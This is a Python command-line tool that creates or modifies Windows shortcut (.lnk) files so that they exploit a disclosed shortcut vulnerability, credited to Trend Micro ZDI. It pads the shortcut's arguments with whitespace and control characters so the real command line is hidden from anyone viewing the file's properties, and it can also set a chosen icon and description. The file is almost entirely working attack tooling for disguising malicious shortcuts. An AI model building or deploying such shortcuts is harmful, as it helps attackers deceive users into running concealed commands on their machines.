import pylnk3 as pylnk
import codecs
import argparse
import random
import struct

# Custom formatter class combining RawTextHelpFormatter and default values display
class RawTextHelpFormatterWithDefaults(argparse.RawTextHelpFormatter):
    def _get_help_string(self, action):
        help_text = action.help or ''
        if action.default is not argparse.SUPPRESS:
            help_text += f'\n(default: {action.default})'
        return help_text

# Credits
# TrendMicro ZDI for the vulnerability (https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html)
# pylnk for lnk manipulation, by tim-erwin (https://sourceforge.net/projects/pylnk/)
# Python3-converted pylnk, by Strayge and more (https://github.com/strayge/pylnk)

# Arguments handling
parser = argparse.ArgumentParser(description='LNK Obfuscation using CVE-2025-9491.\
	\n The fixed size of the Windows property Window allow a the camouflage of\
	intended commandline by writing multiple non visible characters.'\
	,formatter_class=RawTextHelpFormatterWithDefaults)

# Create subparsers for different modes
subparsers = parser.add_subparsers(dest='mode', help='Operation mode', required=True)

# Create subparser for 'create' mode
create_parser = subparsers.add_parser('create', help='Create an obfuscated LNK file', formatter_class=RawTextHelpFormatterWithDefaults)
create_parser.add_argument('-t', '--target', help='Path target file of the LNK', type=str, required=True)
create_parser.add_argument('-a', '--arguments', help='Arguments to pass to the target', type=str, required=True)
create_parser.add_argument('-o', '--output', help='Ouput LNK destination', required=True)

create_parser.add_argument('-c', '--charset', help='Specify a custom charset to use when\
	creating the padding.\n Expected format : List of comma separated HEX values',
	default="20,09,0A,0B,0C,0D", type=str)
create_parser.add_argument('-s', '--padding_size', help='Number of charaters between the\
	target and the arguments', type=int, default=128)
create_parser.add_argument('-p', '--pattern_type', help='Select the wanted stuffing pattern type\
	\n[1] Random pattern (default): BAFGDADBFECCDEABCDFFAC...\
	\n[2] Mono pattern (First element of the charset): AAAAAAAAAAAAAAA...\
	\n[3] Cycling pattern: ABCDEABCDEABCDE...'\
	, default=1, type=int, required=False)
create_parser.add_argument('-i', '--icon', help='LNK icon path', type=str)
create_parser.add_argument('-d', '--description', help='Visible lnk description', type=str)
create_parser.add_argument('-v', '--verbose', help='Enable verbose output', action='store_true')

# Create subparser for 'obfuscate' mode
obfuscate_parser = subparsers.add_parser('obfuscate', help='Obfuscate an existing LNK file', formatter_class=RawTextHelpFormatterWithDefaults)
obfuscate_parser.add_argument('-i', '--input', help='Path to the existing LNK file', type=str, required=True)
obfuscate_parser.add_argument('-o', '--output', help='Output LNK destination', required=True)

obfuscate_parser.add_argument('-c', '--charset', help='Specify a custom charset to use when\
	creating the padding.\n Expected format : List of comma separated HEX values',
	default="20,09,0A,0B,0C,0D", type=str)
obfuscate_parser.add_argument('-s', '--padding_size', help='Number of charaters to add as padding\
	before the existing arguments', type=int, default=128)
obfuscate_parser.add_argument('-p', '--pattern_type', help='Select the wanted stuffing pattern type\
	\n[1] Random pattern (default): BAFGDADBFECCDEABCDFFAC...\
	\n[2] Mono pattern (First element of the charset): AAAAAAAAAAAAAAA...\
	\n[3] Cycling pattern: ABCDEABCDEABCDE...'\
	, default=1, type=int, required=False)
obfuscate_parser.add_argument('-v', '--verbose', help='Enable verbose output', action='store_true')

# Create subparser for 'parse' mode
parse_parser = subparsers.add_parser('parse', help='Parse and display contents of a LNK file', formatter_class=RawTextHelpFormatterWithDefaults)
parse_parser.add_argument('-i', '--input', help='Path to the LNK file to parse', type=str, required=True)

args = parser.parse_args()

# Handle 'create' mode
if args.mode == 'create':
	# Print arguments if verbose is enabled
	if args.verbose:
		print("[*] LNK Obfuscation Tool - Verbose Mode")
		print("[*] Arguments:")
		print(f"    Target: {args.target}")
		print(f"    Arguments: {args.arguments}")
		print(f"    Output: {args.output}")
		print(f"    Charset: {args.charset}")
		print(f"    Padding Size: {args.padding_size}")
		print(f"    Pattern Type: {args.pattern_type}")
		print(f"    Icon: {args.icon if args.icon else 'None'}")
		print(f"    Description: {args.description if args.description else 'None'}")
		print()

	# Basic Lnk data
	if args.verbose:
		print("[*] Creating LNK object...")
	try:
		lnk = pylnk.for_file(args.target)
	except pylnk.FormatException as e:
		print(f"Given target path is invalid ! ({e})")
		exit()

	if args.verbose:
		print(f"[+] LNK object created successfully")

	lnk.relative_path = '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\' + args.target
	if args.verbose:
		print(f"[+] Relative path set to: {lnk.relative_path}")

	if args.description != None:
		lnk.description = args.description
		if args.verbose:
			print(f"[+] Description set to: {args.description}")

	if args.icon != None:
		lnk.icon = args.icon
		if args.verbose:
			print(f"[+] Icon set to: {args.icon}")

	# Padding generation
	if args.verbose:
		print("[*] Generating padding...")

	charset = args.charset.split(',')
	if args.verbose:
		print(f"[+] Charset: {charset}")

	if args.pattern_type == 1:
		hex_str = ''.join(random.choices(charset, k=args.padding_size))
		if args.verbose:
			print(f"[+] Using random pattern")

	elif args.pattern_type == 2:
		hex_str = ''.join(charset[0] * args.padding_size)
		if args.verbose:
			print(f"[+] Using mono pattern with: {charset[0]}")

	elif args.pattern_type == 3:
		mod = args.padding_size % len(charset)
		times = int((args.padding_size - mod) / len(charset))
		hex_str = ''.join(charset) * times
		hex_str += ''.join(charset[:mod])
		if args.verbose:
			print(f"[+] Using cycling pattern")

	if args.verbose:
		print(f"[+] Hex string length: {len(hex_str)}")
		print(f"[+] Decoding hex to bytes...")

	padding = codecs.decode(hex_str, 'hex').decode('utf8')

	if args.verbose:
		print(f"[+] Padding generated (length: {len(padding)} characters)")

	# Finalizing lnk creation
	if args.verbose:
		print("[*] Setting arguments...")

	lnk.arguments = padding + args.arguments

	if args.verbose:
		print(f"[+] Arguments set (total length: {len(lnk.arguments)} characters)")
		print("[*] Saving LNK file...")

	try:
		lnk.save(args.output)
		print("[+] LNK file saved successfully!")
	except Exception as e:
		print(f"The following exception occured when saving to {args.output}:\n{e}")

# Handle 'obfuscate' mode
elif args.mode == 'obfuscate':
	# Print arguments if verbose is enabled
	if args.verbose:
		print("[*] LNK Obfuscation Tool - Verbose Mode (obfuscate)")
		print("[*] Arguments:")
		print(f"    Input: {args.input}")
		print(f"    Output: {args.output}")
		print(f"    Charset: {args.charset}")
		print(f"    Padding Size: {args.padding_size}")
		print(f"    Pattern Type: {args.pattern_type}")
		print()

	# Load existing LNK file
	if args.verbose:
		print("[*] Loading existing LNK file...")
	try:
		lnk = pylnk.parse(args.input)
	except FileNotFoundError:
		print(f"Input LNK file not found: {args.input}")
		exit()
	except (AssertionError, struct.error, Exception) as e:
		print(f"Failed to parse LNK file: {e}")
		exit()

	if args.verbose:
		print(f"[+] LNK file loaded and parsed successfully")
		if lnk.arguments:
			print(f"[+] Current arguments: {repr(lnk.arguments)}")
		else:
			print(f"[+] No existing arguments found")

	# Padding generation
	if args.verbose:
		print("[*] Generating padding...")

	charset = args.charset.split(',')
	if args.verbose:
		print(f"[+] Charset: {charset}")

	if args.pattern_type == 1:
		hex_str = ''.join(random.choices(charset, k=args.padding_size))
		if args.verbose:
			print(f"[+] Using random pattern")

	elif args.pattern_type == 2:
		hex_str = ''.join(charset[0] * args.padding_size)
		if args.verbose:
			print(f"[+] Using mono pattern with: {charset[0]}")

	elif args.pattern_type == 3:
		mod = args.padding_size % len(charset)
		times = int((args.padding_size - mod) / len(charset))
		hex_str = ''.join(charset) * times
		hex_str += ''.join(charset[:mod])
		if args.verbose:
			print(f"[+] Using cycling pattern")

	if args.verbose:
		print(f"[+] Hex string length: {len(hex_str)}")
		print(f"[+] Decoding hex to bytes...")

	padding = codecs.decode(hex_str, 'hex').decode('utf8')

	if args.verbose:
		print(f"[+] Padding generated (length: {len(padding)} characters)")

	# Update arguments with padding
	if args.verbose:
		print("[*] Updating arguments with padding...")

	lnk.arguments = padding + lnk.arguments

	if args.verbose:
		print(f"[+] Arguments updated (total length: {len(lnk.arguments)} characters)")
		print("[*] Saving obfuscated LNK file...")

	try:
		lnk.save(args.output)
		print("[+] LNK file saved successfully!")
	except Exception as e:
		print(f"The following exception occured when saving to {args.output}:\n{e}")

# Handle 'parse' mode
elif args.mode == 'parse':
	# Load and parse LNK file
	try:
		lnk = pylnk.parse(args.input)
	except FileNotFoundError:
		print(f"Error: Input LNK file not found: {args.input}")
		exit()
	except (AssertionError, struct.error, Exception) as e:
		print(f"Error: Failed to parse LNK file: {e}")
		exit()

	# Print LNK file contents using pylnk3's __str__ method
	print(lnk)